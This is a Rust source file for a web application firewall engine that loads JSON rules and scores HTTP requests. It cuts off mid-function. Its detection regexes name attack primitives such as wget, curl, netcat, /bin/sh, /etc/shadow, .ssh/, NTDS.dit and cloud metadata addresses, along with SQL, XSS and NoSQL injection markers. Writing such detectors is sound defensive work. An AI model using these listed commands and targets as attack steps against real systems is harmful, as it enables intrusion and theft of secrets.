1use parking_lot::RwLock;
4use std::collections::HashMap;
5use std::sync::Arc;
6use std::time::{Duration, Instant};
7
8use base64::engine::general_purpose::STANDARD as BASE64_STANDARD;
9use base64::Engine as _;
10use once_cell::sync::Lazy;
11use percent_encoding::percent_decode_str;
12use regex::{Regex, RegexBuilder};
13
14pub const DEFAULT_EVAL_TIMEOUT: Duration = Duration::from_millis(50);
17
18pub const MAX_EVAL_TIMEOUT: Duration = Duration::from_millis(500);
20
21const REGEX_SIZE_LIMIT: usize = 10 * (1 << 20);
24
25const REGEX_DFA_SIZE_LIMIT: usize = 10 * (1 << 20);
28
29const MAX_RECURSION_DEPTH: u32 = 10;
31
32use crate::waf::index::{
33 build_rule_index, get_candidate_rule_indices, method_to_mask, CandidateCache,
34 CandidateCacheKey, RuleIndex, REQ_ARGS, REQ_ARG_ENTRIES, REQ_BODY, REQ_JSON,
35};
36use crate::waf::rule::{MatchCondition, MatchValue, WafRule};
37use crate::waf::state::StateStore;
38use crate::waf::types::{Action, EvalContext, Request, RiskContribution, Verdict};
39use crate::waf::WafError;
40use crate::waf::{TraceEvent, TraceSink, TraceState};
41
42#[allow(dead_code)]
44static BASE64_PATTERN: Lazy<Regex> =
45 Lazy::new(|| Regex::new(r"^([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{2,3}=)?$").expect("base64 regex"));
46
47static SQL_KEYWORDS: Lazy<Regex> = Lazy::new(|| {
48 RegexBuilder::new(r"\b(load_file|into outfile)\b")
49 .case_insensitive(true)
50 .build()
51 .expect("sql keywords regex")
52});
53
54static SQL_PHRASES: Lazy<Regex> = Lazy::new(|| {
55 RegexBuilder::new(
56 r"\b(insert\s+into|delete\s+from|drop\s+(table|database|view)|union\s+(all\s+)?select|select\s+\*\s+from|select\s+.*\s+from\s+information_schema)\b",
57 )
58 .case_insensitive(true)
59 .build()
60 .expect("sql phrases regex")
61});
62
63static SQL_OR_AND_EQ: Lazy<Regex> = Lazy::new(|| {
64 RegexBuilder::new(r"(\bor\b|\band\b)\s+\d+=\d+")
65 .case_insensitive(true)
66 .build()
67 .expect("sql or/and regex")
68});
69
70static SQL_COMMENT_1: Lazy<Regex> = Lazy::new(|| Regex::new(r"'\s*--").expect("sql comment 1"));
71static SQL_COMMENT_2: Lazy<Regex> = Lazy::new(|| Regex::new(r#""\s*--"#).expect("sql comment 2"));
72static SQL_SHUTDOWN: Lazy<Regex> = Lazy::new(|| {
73 RegexBuilder::new(r";\s*shutdown\b")
74 .case_insensitive(true)
75 .build()
76 .expect("sql shutdown")
77});
78
79static XSS_SCRIPT: Lazy<Regex> = Lazy::new(|| {
80 RegexBuilder::new(r"<\s*script\b")
81 .case_insensitive(true)
82 .build()
83 .expect("xss script")
84});
85static XSS_JS_SCHEME: Lazy<Regex> = Lazy::new(|| {
86 RegexBuilder::new(r"javascript:")
87 .case_insensitive(true)
88 .build()
89 .expect("xss js scheme")
90});
91static XSS_ON_ATTR: Lazy<Regex> = Lazy::new(|| {
92 RegexBuilder::new(
93 r"\b(onload|onclick|onerror|onmouseover|onfocus|onblur|onsubmit|onchange|oninput|onkeydown|onkeyup|onkeypress|onmousedown|onmouseup|onmousemove|onmouseout|onresize|onscroll|onunload)\s*=",
94 )
95 .case_insensitive(true)
96 .build()
97 .expect("xss on attr")
98});
99static XSS_COOKIE: Lazy<Regex> = Lazy::new(|| {
100 RegexBuilder::new(r"document\.cookie")
101 .case_insensitive(true)
102 .build()
103 .expect("xss cookie")
104});
105static XSS_IMG_SRC: Lazy<Regex> = Lazy::new(|| {
106 RegexBuilder::new(r"<\s*img[^>]+src")
107 .case_insensitive(true)
108 .build()
109 .expect("xss img src")
110});
111
112static CMD_BACKTICK: Lazy<Regex> =
117 Lazy::new(|| Regex::new(r"`[^`]+`").expect("cmd backtick regex"));
118
119static CMD_SUBSHELL: Lazy<Regex> =
121 Lazy::new(|| Regex::new(r"\$\([^)]+\)").expect("cmd subshell regex"));
122
123static CMD_VAR_SUBST: Lazy<Regex> =
125 Lazy::new(|| Regex::new(r"\$\{[^}]+\}").expect("cmd var subst regex"));
126
127static CMD_IFS: Lazy<Regex> = Lazy::new(|| {
129 RegexBuilder::new(r"\$IFS|\$\{IFS\}|\bIFS\s*=")
130 .case_insensitive(true)
131 .build()
132 .expect("cmd IFS regex")
133});
134
135static CMD_CHAIN: Lazy<Regex> = Lazy::new(|| Regex::new(r"[;&|]{1,2}").expect("cmd chain regex"));
137
138static CMD_BRACE: Lazy<Regex> =
140 Lazy::new(|| Regex::new(r"\{[^}]*,[^}]*\}").expect("cmd brace regex"));
141
142static CMD_DANGEROUS: Lazy<Regex> = Lazy::new(|| {
144 RegexBuilder::new(
145 r"\b(cat\s+/etc/|/etc/passwd|/etc/shadow|wget\s|curl\s|nc\s+-|ncat\s|netcat\s|bash\s+-|sh\s+-c|/bin/sh|/bin/bash|chmod\s+\+|chown\s|rm\s+-rf|mkfifo|mknod|python\s+-c|perl\s+-e|ruby\s+-e|php\s+-r|lua\s+-e|awk\s+|xargs\s)"
146 )
147 .case_insensitive(true)
148 .build()
149 .expect("cmd dangerous regex")
150});
151
152static CMD_NEWLINE_ENCODED: Lazy<Regex> = Lazy::new(|| {
154 RegexBuilder::new(r"%0[aAdD]")
155 .case_insensitive(true)
156 .build()
157 .expect("cmd newline encoded regex")
158});
159
160static CMD_NEWLINE_LITERAL: Lazy<Regex> =
162 Lazy::new(|| Regex::new(r"[\r\n]").expect("cmd newline literal regex"));
163
164static CMD_REDIRECT: Lazy<Regex> =
166 Lazy::new(|| Regex::new(r"[<>]{1,2}|2>&1|&>").expect("cmd redirect regex"));
167
168static CMD_PATH_TRAVERSAL: Lazy<Regex> =
170 Lazy::new(|| Regex::new(r"\.{2,}/+").expect("cmd path traversal regex"));
171
172static CMD_NULL_BYTE: Lazy<Regex> = Lazy::new(|| {
174 RegexBuilder::new(r"%00|\\x00|\\0")
175 .case_insensitive(true)
176 .build()
177 .expect("cmd null byte regex")
178});
179
180static PATH_TRAV_BASIC: Lazy<Regex> =
185 Lazy::new(|| Regex::new(r"\.{2,}[/\\]+|\.{2,}$").expect("path trav basic regex"));
186
187static PATH_TRAV_ENCODED: Lazy<Regex> = Lazy::new(|| {
189 RegexBuilder::new(r"%2e%2e[%/\\]|\.\.%2f|\.\.%5c|%2e%2e$")
190 .case_insensitive(true)
191 .build()
192 .expect("path trav encoded regex")
193});
194
195static PATH_TRAV_DOUBLE: Lazy<Regex> = Lazy::new(|| {
197 RegexBuilder::new(r"%25(?:2e|2E){2}%25(?:2f|2F|5c|5C)")
198 .case_insensitive(true)
199 .build()
200 .expect("path trav double encoded regex")
201});
202
203static PATH_TRAV_UNICODE: Lazy<Regex> = Lazy::new(|| {
208 RegexBuilder::new(r"%c0%ae|%c0%af|%c1%9c|%c0%9v|%c1%1c|%c0%2e|%e0%80%ae|%f0%80%80%ae")
209 .case_insensitive(true)
210 .build()
211 .expect("path trav unicode regex")
212});
213
214static PATH_TRAV_BACKSLASH: Lazy<Regex> = Lazy::new(|| {
216 RegexBuilder::new(r"\.\.\\|%5c%2e%2e|%2e%2e%5c")
217 .case_insensitive(true)
218 .build()
219 .expect("path trav backslash regex")
220});
221
222static PATH_TRAV_TARGETS_UNIX: Lazy<Regex> = Lazy::new(|| {
224 Regex::new(r"/etc/(passwd|shadow|group|hosts|sudoers|ssh/|crontab)|/proc/|/dev/|/var/log/|/root/|\.ssh/|\.bash_history|\.env")
225 .expect("path trav targets unix regex")
226});
227
228static PATH_TRAV_TARGETS_WIN: Lazy<Regex> = Lazy::new(|| {
230 RegexBuilder::new(
231 r"boot\.ini|win\.ini|system32|windows\\system|SAM|NTDS\.dit|web\.config|machine\.config",
232 )
233 .case_insensitive(true)
234 .build()
235 .expect("path trav targets win regex")
236});
237
238static PATH_TRAV_NULL: Lazy<Regex> = Lazy::new(|| {
240 RegexBuilder::new(r"%00|\\x00|\\0|\x00")
241 .case_insensitive(true)
242 .build()
243 .expect("path trav null regex")
244});
245
246static SSRF_LOCALHOST_V4: Lazy<Regex> = Lazy::new(|| {
251 Regex::new(r"(?i)(?://|@)127\.(?:\d{1,3}\.){2}\d{1,3}(?:[:/]|$)")
252 .expect("ssrf localhost v4 regex")
253});
254
255static SSRF_LOCALHOST_V6: Lazy<Regex> = Lazy::new(|| {
257 Regex::new(r"(?i)(?://|@)\[?(?:::1|0:0:0:0:0:0:0:1)\]?(?:[:/]|$)")
258 .expect("ssrf localhost v6 regex")
259});
260
261static SSRF_MAPPED_IPV6: Lazy<Regex> = Lazy::new(|| {
263 Regex::new(r"(?i)(?://|@)\[?::ffff:(?:\d{1,3}\.){3}\d{1,3}\]?(?:[:/]|$)")
264 .expect("ssrf mapped ipv6 regex")
265});
266
267static SSRF_CLOUD_METADATA: Lazy<Regex> = Lazy::new(|| {
269 Regex::new(r"(?i)(?://|@)169\.254\.(?:169\.254|170\.2)(?:[:/]|$)")
270 .expect("ssrf cloud metadata regex")
271});
272
273static SSRF_METADATA_HOST: Lazy<Regex> = Lazy::new(|| {
275 RegexBuilder::new(r"(?://|@)(?:metadata\.google\.internal|metadata\.azure\.com|instance-data\.ec2\.internal|169\.254\.169\.254)")
276 .case_insensitive(true)
277 .build()
278 .expect("ssrf metadata host regex")
279});
280
281static SSRF_PRIVATE_IP: Lazy<Regex> = Lazy::new(|| {
283 Regex::new(r"(?i)(?://|@)(?:10\.(?:\d{1,3}\.){2}\d{1,3}|192\.168\.(?:\d{1,3}\.)\d{1,3}|172\.(?:1[6-9]|2\d|3[01])\.(?:\d{1,3}\.)\d{1,3})(?:[:/]|$)")
284 .expect("ssrf private ip regex")
285});
286
287static SSRF_LINK_LOCAL: Lazy<Regex> = Lazy::new(|| {
289 Regex::new(r"(?i)(?://|@)169\.254\.(?:\d{1,3}\.)\d{1,3}(?:[:/]|$)")
290 .expect("ssrf link local regex")
291});
292
293static SSRF_DANGEROUS_SCHEME: Lazy<Regex> = Lazy::new(|| {
297 RegexBuilder::new(r"(?:^|[^a-z0-9])(?:(?:file|gopher|dict|ldap|ldaps|expect|php|phar|jar|ftp|tftp|ssh2)://|data:)")
298 .case_insensitive(true)
299 .build()
300 .expect("ssrf dangerous scheme regex")
301});
302
303static SSRF_ENCODED_IP: Lazy<Regex> = Lazy::new(|| {
305 Regex::new(r"(?i)(?://|@)(?:0x[0-9a-f]{8}|2130706433|017700000001|\d{8,10})(?:[:/]|$)")
309 .expect("ssrf encoded ip regex")
310});
311
312static NOSQL_MONGO_OPERATORS: Lazy<Regex> = Lazy::new(|| {
317 Regex::new(r#"(?i)["\']?\$(?:where|ne|gt|lt|gte|lte|in|nin|regex|exists|type|mod|all|size|elemMatch|meta|slice|comment|rand|natural|or|and|not|nor|expr|jsonSchema|text|geoWithin|geoIntersects|near|nearSphere)["\']?\s*:"#)
319 .expect("nosql mongo operators regex")
320});
321
322static NOSQL_WHERE_JS: Lazy<Regex> = Lazy::new(|| {
324 Regex::new(r#"(?i)["\']?\$where["\']?\s*:\s*["\']?(?:function\s*\(|this\.|sleep\(|db\.|new\s+Date|tojson|printjson)"#)
326 .expect("nosql where js regex")
327});
328
329static NOSQL_AUTH_BYPASS: Lazy<Regex> = Lazy::new(|| {
331 Regex::new(r#"(?i)(?:password|passwd|pwd|user|username|login|email)["\']?\s*:\s*\{\s*["\']?\$(?:ne|gt|lt|gte|lte|exists)["\']?\s*:"#)
332 .expect("nosql auth bypass regex")
333});
334
335static NOSQL_AGGREGATION: Lazy<Regex> = Lazy::new(|| {
337 Regex::new(r#"(?i)["\']?\$(?:lookup|unwind|group|project|match|sort|limit|skip|out|merge|addFields|replaceRoot)["\']?\s*:"#)
338 .expect("nosql aggregation regex")
339});
340
341static NOSQL_COUCHDB: Lazy<Regex> = Lazy::new(|| {
343 Regex::new(r"(?i)(?:_all_docs|_design/|_view/|_changes|_bulk_docs|_find)")
344 .expect("nosql couchdb regex")
345});
346
347static NOSQL_REDIS: Lazy<Regex> = Lazy::new(|| {
349 RegexBuilder::new(r"\b(?:EVAL|EVALSHA|SCRIPT|DEBUG|FLUSHALL|FLUSHDB|CONFIG|SHUTDOWN|SLAVEOF|REPLICAOF|MIGRATE|DUMP|RESTORE|KEYS|SCAN)\b")
350 .case_insensitive(true)
351 .build()
352 .expect("nosql redis regex")
353});
354
355static NOSQL_CASSANDRA: Lazy<Regex> = Lazy::new(|| {
357 RegexBuilder::new(
358 r"\b(?:ALLOW\s+FILTERING|USING\s+TTL|USING\s+TIMESTAMP|TOKEN\s*\(|WRITETIME\s*\()\b",
359 )
360 .case_insensitive(true)
361 .build()
362 .expect("nosql cassandra regex")
363});
364
365static JSON_PROTO_POLLUTION: Lazy<Regex> = Lazy::new(|| {
367 Regex::new(r#"(?i)["\']?(?:__proto__|constructor|prototype)["\']?\s*:"#)
368 .expect("json proto pollution regex")
369});
370
371pub struct CompiledRules {
373 pub rules: Vec<WafRule>,
374 pub rule_id_to_index: HashMap<u32, usize>,
375 pub rule_index: RuleIndex,
376 pub regex_cache: HashMap<String, Regex>,
377 pub word_regex_cache: HashMap<String, Regex>,
378}
379
380pub struct Engine {
382 rules: Vec<WafRule>,
383 rule_id_to_index: HashMap<u32, usize>,
384 rule_index: RuleIndex,
385 regex_cache: HashMap<String, Regex>,
386 word_regex_cache: HashMap<String, Regex>,
387 store: RwLock<StateStore>,
388 candidate_cache: RwLock<CandidateCache>,
389 max_risk: RwLock<f64>,
391 enable_repeat_multipliers: RwLock<bool>,
393}
394
395impl Engine {
396 pub fn empty() -> Self {
398 Self {
399 rules: Vec::new(),
400 rule_id_to_index: HashMap::new(),
401 rule_index: RuleIndex::default(),
402 regex_cache: HashMap::new(),
403 word_regex_cache: HashMap::new(),
404 store: RwLock::new(StateStore::default()),
405 candidate_cache: RwLock::new(CandidateCache::new(2048)),
406 max_risk: RwLock::new(100.0),
407 enable_repeat_multipliers: RwLock::new(true),
408 }
409 }
410
411 pub fn set_max_risk(&self, max_risk: f64) {
413 *self.max_risk.write() = max_risk;
414 }
415
416 pub fn max_risk(&self) -> f64 {
418 *self.max_risk.read()
419 }
420
421 pub fn set_repeat_multipliers(&self, enabled: bool) {
423 *self.enable_repeat_multipliers.write() = enabled;
424 }
425
426 pub fn load_rules(&mut self, json: &[u8]) -> Result<usize, WafError> {
428 let compiled = self.precompute_rules(json)?;
429 let count = compiled.rules.len();
430 self.reload_from_compiled(compiled);
431 Ok(count)
432 }
433
434 pub fn precompute_rules(&self, json: &[u8]) -> Result<CompiledRules, WafError> {
438 let rules: Vec<WafRule> =
439 serde_json::from_slice(json).map_err(|e| WafError::ParseError(e.to_string()))?;
440
441 let rule_id_to_index = rules
442 .iter()
443 .enumerate()
444 .map(|(idx, rule)| (rule.id, idx))
445 .collect();
446
447 let rule_index = build_rule_index(&rules);
448
449 let mut regex_cache = HashMap::new();
450 let mut word_regex_cache = HashMap::new();
451
452 let mut patterns = Vec::<String>::new();
454 let mut words = Vec::<String>::new();
455 for rule in &rules {
456 for cond in &rule.matches {
457 collect_regex_patterns(cond, &mut patterns);
458 collect_word_values(cond, &mut words);
459 }
460 }
461
462 patterns.sort();
463 patterns.dedup();
464 for pattern in patterns {
465 let compiled = RegexBuilder::new(&pattern)
466 .multi_line(true)
467 .size_limit(REGEX_SIZE_LIMIT)
468 .dfa_size_limit(REGEX_DFA_SIZE_LIMIT)
469 .build()
470 .map_err(|e| WafError::RegexError(format!("'{pattern}': {e}")))?;
471 regex_cache.insert(pattern, compiled);
472 }
473
474 words.sort();
475 words.dedup();
476 for word in words {
477 let pattern = format!(r"(?i)\b{}\b", regex::escape(&word));
478 let compiled = RegexBuilder::new(&pattern)
479 .multi_line(true)
480 .size_limit(REGEX_SIZE_LIMIT)
481 .dfa_size_limit(REGEX_DFA_SIZE_LIMIT)
482 .build()
483 .map_err(|e| WafError::RegexError(format!("word '{word}': {e}")))?;
484 word_regex_cache.insert(word, compiled);
485 }
486
487 Ok(CompiledRules {
488 rules,
489 rule_id_to_index,
490 rule_index,
491 regex_cache,
492 word_regex_cache,
493 })
494 }
495
496 pub fn reload_from_compiled(&mut self, compiled: CompiledRules) {
498 self.rules = compiled.rules;
499 self.rule_id_to_index = compiled.rule_id_to_index;
500 self.rule_index = compiled.rule_index;
501 self.regex_cache = compiled.regex_cache;
502 self.word_regex_cache = compiled.word_regex_cache;
503 self.candidate_cache.write().clear();
504 }
505
506 pub fn parse_rules(json: &[u8]) -> Result<Vec<WafRule>, WafError> {
508 serde_json::from_slice(json).map_err(|e| WafError::ParseError(e.to_string()))
509 }
510
511 pub fn reload_rules(&mut self, rules: Vec<WafRule>) -> Result<(), WafError> {
513 self.rules = rules;
514 self.rule_id_to_index = self
515 .rules
516 .iter()
517 .enumerate()
518 .map(|(idx, rule)| (rule.id, idx))
519 .collect();
520 self.rule_index = build_rule_index(&self.rules);
521 self.candidate_cache.write().clear();
522 self.regex_cache.clear();
523 self.word_regex_cache.clear();
524
525 let mut patterns = Vec::<String>::new();
527 let mut words = Vec::<String>::new();
528 for rule in &self.rules {
529 for cond in &rule.matches {
530 collect_regex_patterns(cond, &mut patterns);
531 collect_word_values(cond, &mut words);
532 }
533 }
534
535 patterns.sort();
536 patterns.dedup();
537 for pattern in patterns {
538 let compiled = RegexBuilder::new(&pattern)
539 .multi_line(true)
540 .size_limit(REGEX_SIZE_LIMIT)
541 .dfa_size_limit(REGEX_DFA_SIZE_LIMIT)
542 .build()
543 .map_err(|e| WafError::RegexError(format!("'{pattern}': {e}")))?;
544 self.regex_cache.insert(pattern, compiled);
545 }
546
547 words.sort();
548 words.dedup();
549 for word in words {
550 let pattern = format!(r"(?i)\b{}\b", regex::escape(&word));
551 let compiled = RegexBuilder::new(&pattern)
552 .multi_line(true)
553 .size_limit(REGEX_SIZE_LIMIT)
554 .dfa_size_limit(REGEX_DFA_SIZE_LIMIT)
555 .build()
556 .map_err(|e| WafError::RegexError(format!("word '{word}': {e}")))?;
557 self.word_regex_cache.insert(word, compiled);
558 }
559
560 Ok(())
561 }
562
563 pub fn rule_count(&self) -> usize {
565 self.rules.len()
566 }
567
568 pub fn analyze(&self, req: &Request) -> Verdict {
570 let ctx = EvalContext::from_request(req);
571 let mut trace_state = TraceState::disabled();
572 self.evaluate_with_trace(&ctx, &mut trace_state)
573 }
574
575 pub fn analyze_with_trace(&self, req: &Request, trace: &mut dyn TraceSink) -> Verdict {
577 let ctx = EvalContext::from_request(req);
578 let mut trace_state = TraceState::enabled(trace);
579 let start = Instant::now();
580 let verdict = self.evaluate_with_trace(&ctx, &mut trace_state);
581 let detection_time_us = start.elapsed().as_micros() as u64;
582
583 if trace_state.is_enabled() {
584 trace_state.emit(TraceEvent::EvaluationFinished {
585 verdict: if matches!(verdict.action, Action::Block) {
586 "block".to_string()
587 } else {
588 "allow".to_string()
589 },
590 risk_score: verdict.risk_score,
591 matched_rules: verdict.matched_rules.clone(),
592 timed_out: verdict.timed_out,
593 rules_evaluated: verdict.rules_evaluated,
594 detection_time_us,
595 });
596 }
597
598 verdict
599 }
600
601 pub fn analyze_with_timeout(&self, req: &Request, timeout: Duration) -> Verdict {
611 let effective_timeout = timeout.min(MAX_EVAL_TIMEOUT);
612 let deadline = Instant::now() + effective_timeout;
613 let ctx = EvalContext::from_request_with_deadline(req, deadline);
614 let mut trace_state = TraceState::disabled();
615 self.evaluate_with_trace(&ctx, &mut trace_state)
616 }
617
618 pub fn analyze_safe(&self, req: &Request) -> Verdict {
620 self.analyze_with_timeout(req, DEFAULT_EVAL_TIMEOUT)
621 }
622
623 fn evaluate_with_trace(&self, ctx: &EvalContext, trace: &mut TraceState) -> Verdict {
624 let mut matched_rules = Vec::new();
625 let mut total_risk = 0.0;
626 let mut should_block = false;
627 let mut timed_out = false;
628 let mut rules_evaluated: u32 = 0;
629 let risk_contributions: Vec<RiskContribution> = Vec::new();
630
631 let max_risk = *self.max_risk.read();
633 let _enable_multipliers = *self.enable_repeat_multipliers.read();
634
635 let method_bit = method_to_mask(ctx.method).unwrap_or(0);
637 let uri = ctx.url;
638 let available_features = compute_available_features(ctx);
639 let header_mask = compute_request_header_mask(&self.rule_index, &ctx.headers);
640 let cache_key = CandidateCacheKey {
641 method_bit,
642 available_features,
643 is_static: ctx.is_static,
644 header_mask,
645 };
646
647 let cached = self.candidate_cache.write().get(&cache_key, uri);
649 let candidates: Arc<[usize]> = match cached {
650 Some(v) => v,
651 None => {
652 let computed = get_candidate_rule_indices(
654 &self.rule_index,
655 method_bit,
656 uri,
657 available_features,
658 ctx.is_static,
659 header_mask,
660 self.rules.len(),
661 safe_percent_decode,
662 );
663 let candidates: Arc<[usize]> = Arc::from(computed);
664 self.candidate_cache
665 .write()
666 .insert(cache_key, uri.to_string(), candidates.clone());
667 candidates
668 }
669 };
670
671 if trace.is_enabled() {
672 trace.emit(TraceEvent::EvaluationStarted {
673 method: ctx.method.to_string(),
674 uri: ctx.url.to_string(),
675 candidate_rules: candidates.len(),
676 });
677 }
678
679 for &rule_idx in candidates.iter() {
681 if ctx.is_deadline_exceeded() {
683 timed_out = true;
684 break;
685 }
686
687 let rule = &self.rules[rule_idx];
688 rules_evaluated += 1;
689
690 if trace.is_enabled() {
691 trace.emit(TraceEvent::RuleStart { rule_id: rule.id });
692 }
693
694 let matched = self.eval_rule(rule, ctx, trace);
695
696 if trace.is_enabled() {
697 trace.emit(TraceEvent::RuleEnd {
698 rule_id: rule.id,
699 matched,
700 risk: rule.effective_risk(),
701 blocking: rule.blocking.unwrap_or(false),
702 });
703 }
704
705 if matched {
706 matched_rules.push(rule.id);
707 total_risk += rule.effective_risk();
708 if rule.blocking.unwrap_or(false) {
709 should_block = true;
710 }
711 }
712 }
713
714 let risk_score = total_risk.min(max_risk).max(0.0) as u16;
716
717 Verdict {
718 action: if should_block {
719 Action::Block
720 } else {
721 Action::Allow
722 },
723 risk_score,
724 matched_rules,
725 entity_risk: 0.0,
726 entity_blocked: false,
727 block_reason: if should_block {
728 Some("Rule-based block".to_string())
729 } else if timed_out {
730 Some("Evaluation timeout (partial result)".to_string())
731 } else {
732 None
733 },
734 risk_contributions,
735 endpoint_template: None,
736 endpoint_risk: None,
737 anomaly_score: None,
738 adjusted_threshold: None,
739 anomaly_signals: Vec::new(),
740 timed_out,
741 rules_evaluated: if timed_out {
742 Some(rules_evaluated)
743 } else {
744 None
745 },
746 }
747 }
748
749 fn eval_rule(&self, rule: &WafRule, ctx: &EvalContext, trace: &mut TraceState) -> bool {
750 for cond in &rule.matches {
751 if !self.eval_condition(cond, ctx, None, trace, rule.id, 0) {
752 return false;
753 }
754 }
755 true
756 }
757
758 fn eval_condition(
759 &self,
760 condition: &MatchCondition,
761 ctx: &EvalContext,
762 value: Option<&str>,
763 trace: &mut TraceState,
764 rule_id: u32,
765 depth: u32,
766 ) -> bool {
767 if depth >= MAX_RECURSION_DEPTH {
768 return false;
769 }
770
771 let matched = match condition.kind.as_str() {
772 "boolean" => self.eval_boolean(condition, ctx, value, trace, rule_id, depth),
773 "method" => self.eval_method(condition, ctx, trace, rule_id, depth),
774 "uri" => self.eval_uri(condition, ctx, trace, rule_id, depth),
775 "args" => self.eval_args(condition, ctx, trace, rule_id, depth),
776 "named_argument" => self.eval_named_argument(condition, ctx, trace, rule_id, depth),
777 "header" => self.eval_header(condition, ctx, trace, rule_id, depth),
778 "contains" => eval_contains(condition.match_value.as_ref(), value),
779 "starts_with" => eval_starts_with(condition.match_value.as_ref(), value),
780 "equals" => eval_equals(condition.match_value.as_ref(), value),
781 "regex" => self.eval_regex(condition.match_value.as_ref(), value),
782 "word" => self.eval_word(condition.match_value.as_ref(), value),
783 "multiple_contains" => eval_multiple_contains(condition.match_value.as_ref(), value),
784 "to_lowercase" => match value {
785 Some(v) => {
786 let lowered = v.to_lowercase();
787 condition
788 .match_value
789 .as_ref()
790 .and_then(|m| m.as_cond())
791 .map(|child| {
792 self.eval_condition(
793 child,
794 ctx,
795 Some(&lowered),
796 trace,
797 rule_id,
798 depth + 1,
799 )
800 })
801 .unwrap_or(true)
802 }
803 None => false,
804 },
805 "percent_decode" => match value {
806 Some(v) => {
807 let decoded = safe_percent_decode(v);
808 condition
809 .match_value
810 .as_ref()
811 .and_then(|m| m.as_cond())
812 .map(|child| {
813 self.eval_condition(
814 child,
815 ctx,
816 Some(&decoded),
817 trace,
818 rule_id,
819 depth + 1,
820 )
821 })
822 .unwrap_or(false)
823 }
824 None => false,
825 },
826 "decode_if_base64" => match value {
827 Some(v) => {
828 let decoded = decode_if_base64(v);
829 condition
830 .match_value
831 .as_ref()
832 .and_then(|m| m.as_cond())
833 .map(|child| {
834 self.eval_condition(
835 child,
836 ctx,
837 Some(&decoded),
838 trace,
839 rule_id,
840 depth + 1,
841 )
842 })
843 .unwrap_or(false)
844 }
845 None => false,
846 },
847 "request" => {
848 let raw = build_raw_request(ctx);
849 condition
850 .match_value
851 .as_ref()
852 .and_then(|m| m.as_cond())
853 .map(|child| {
854 self.eval_condition(child, ctx, Some(&raw), trace, rule_id, depth + 1)
855 })
856 .unwrap_or(false)
857 }
858 "request_json" => match ctx.json_text.as_deref() {
859 Some(json_text) => condition
860 .match_value
861 .as_ref()
862 .and_then(|m| m.as_cond())
863 .map(|child| {
864 self.eval_condition(child, ctx, Some(json_text), trace, rule_id, depth + 1)
865 })
866 .unwrap_or(true),
867 None => false,
868 },
869 "static_content" => condition
870 .match_value
871 .as_ref()
872 .and_then(|m| m.as_bool())
873 .map(|target| ctx.is_static == target)
874 .unwrap_or(false),
875 "compare" => eval_compare(condition, value),
876 "count_odd" => eval_count_odd(condition.match_value.as_ref(), value),
877 "sql_analyzer" => self.eval_sql_analyzer(condition, value, ctx, trace, rule_id, depth),
878 "xss_analyzer" => self.eval_xss_analyzer(condition, value, ctx, trace, rule_id, depth),
879 "cmd_analyzer" => self.eval_cmd_analyzer(condition, value, ctx, trace, rule_id, depth),
880 "path_traversal_analyzer" => {
881 self.eval_path_traversal_analyzer(condition, value, ctx, trace, rule_id, depth)
882 }
883 "ssrf_analyzer" => {
884 self.eval_ssrf_analyzer(condition, value, ctx, trace, rule_id, depth)
885 }
886 "nosql_analyzer" => {
887 self.eval_nosql_analyzer(condition, value, ctx, trace, rule_id, depth)
888 }
889 "hashset" => eval_hashset(condition.match_value.as_ref(), value),
890 "parse_multipart" => self.eval_parse_multipart(condition, ctx, trace, rule_id, depth),
891 "track_by_ip" => self.eval_track_by_ip(condition, ctx, trace, rule_id, depth),
892 "extract_argument" => self.eval_extract_argument(condition, ctx, trace, rule_id, depth),
893 "unique_count" => {
894 self.eval_unique_count(condition, ctx, value, &[], trace, rule_id, depth)
895 }
896 "count" => self.eval_count(condition, ctx, trace, rule_id, depth),
897 "remember_match" => condition
898 .match_value
899 .as_ref()
900 .and_then(|m| m.as_cond())
901 .map(|child| self.eval_condition(child, ctx, value, trace, rule_id, depth + 1))
902 .unwrap_or(false),
903 _ => false,
904 };
905
906 if trace.is_enabled() {
907 trace.emit(TraceEvent::ConditionEvaluated {
908 rule_id,
909 kind: condition.kind.clone(),
910 field: condition.field.clone(),
911 op: condition.op.clone(),
912 name: condition.name.clone(),
913 matched,
914 });
915 }
916
917 matched
918 }
919
920 fn eval_boolean(
921 &self,
922 condition: &MatchCondition,
923 ctx: &EvalContext,
924 value: Option<&str>,
925 trace: &mut TraceState,
926 rule_id: u32,
927 depth: u32,
928 ) -> bool {
929 let op = condition.op.as_deref().unwrap_or("and");
930 let Some(match_value) = condition.match_value.as_ref() else {
931 return true;
932 };
933
934 match op {
935 "and" => {
936 if let Some(items) = match_value.as_arr() {
937 for item in items {
938 let Some(child) = item.as_cond() else {
939 continue;
940 };
941 if !self.eval_condition(child, ctx, value, trace, rule_id, depth + 1) {
942 return false;
943 }
944 }
945 true
946 } else if let Some(child) = match_value.as_cond() {
947 self.eval_condition(child, ctx, value, trace, rule_id, depth + 1)
948 } else {
949 true
950 }
951 }
952 "or" => {
953 let mut saw_operand = false;
954 if let Some(items) = match_value.as_arr() {
955 for item in items {
956 let Some(child) = item.as_cond() else {
957 continue;
958 };
959 saw_operand = true;
960 if self.eval_condition(child, ctx, value, trace, rule_id, depth + 1) {
961 return true;
962 }
963 }
964 !saw_operand
965 } else if let Some(child) = match_value.as_cond() {
966 self.eval_condition(child, ctx, value, trace, rule_id, depth + 1)
967 } else {
968 true
969 }
970 }
971 "not" => {
972 if let Some(items) = match_value.as_arr() {
973 for item in items {
974 let Some(child) = item.as_cond() else {
975 continue;
976 };
977 if self.eval_condition(child, ctx, value, trace, rule_id, depth + 1) {
978 return false;
979 }
980 }
981 true
982 } else if let Some(child) = match_value.as_cond() {
983 !self.eval_condition(child, ctx, value, trace, rule_id, depth + 1)
984 } else {
985 true
986 }
987 }
988 _ => false,
989 }
990 }
991
992 fn eval_method(
993 &self,
994 condition: &MatchCondition,
995 ctx: &EvalContext,
996 trace: &mut TraceState,
997 rule_id: u32,
998 depth: u32,
999 ) -> bool {
1000 let method = ctx.method;
1001 let Some(match_value) = condition.match_value.as_ref() else {
1002 return false;
1003 };
1004 if let Some(s) = match_value.as_str() {
1005 return method.eq_ignore_ascii_case(s);
1006 }
1007 if let Some(arr) = match_value.as_arr() {
1008 for item in arr {
1009 if let Some(s) = item.as_str() {
1010 if method.eq_ignore_ascii_case(s) {
1011 return true;
1012 }
1013 }
1014 }
1015 return false;
1016 }
1017 if let Some(child) = match_value.as_cond() {
1018 return self.eval_condition(child, ctx, Some(method), trace, rule_id, depth + 1);
1019 }
1020 false
1021 }
1022
1023 fn eval_uri(
1024 &self,
1025 condition: &MatchCondition,
1026 ctx: &EvalContext,
1027 trace: &mut TraceState,
1028 rule_id: u32,
1029 depth: u32,
1030 ) -> bool {
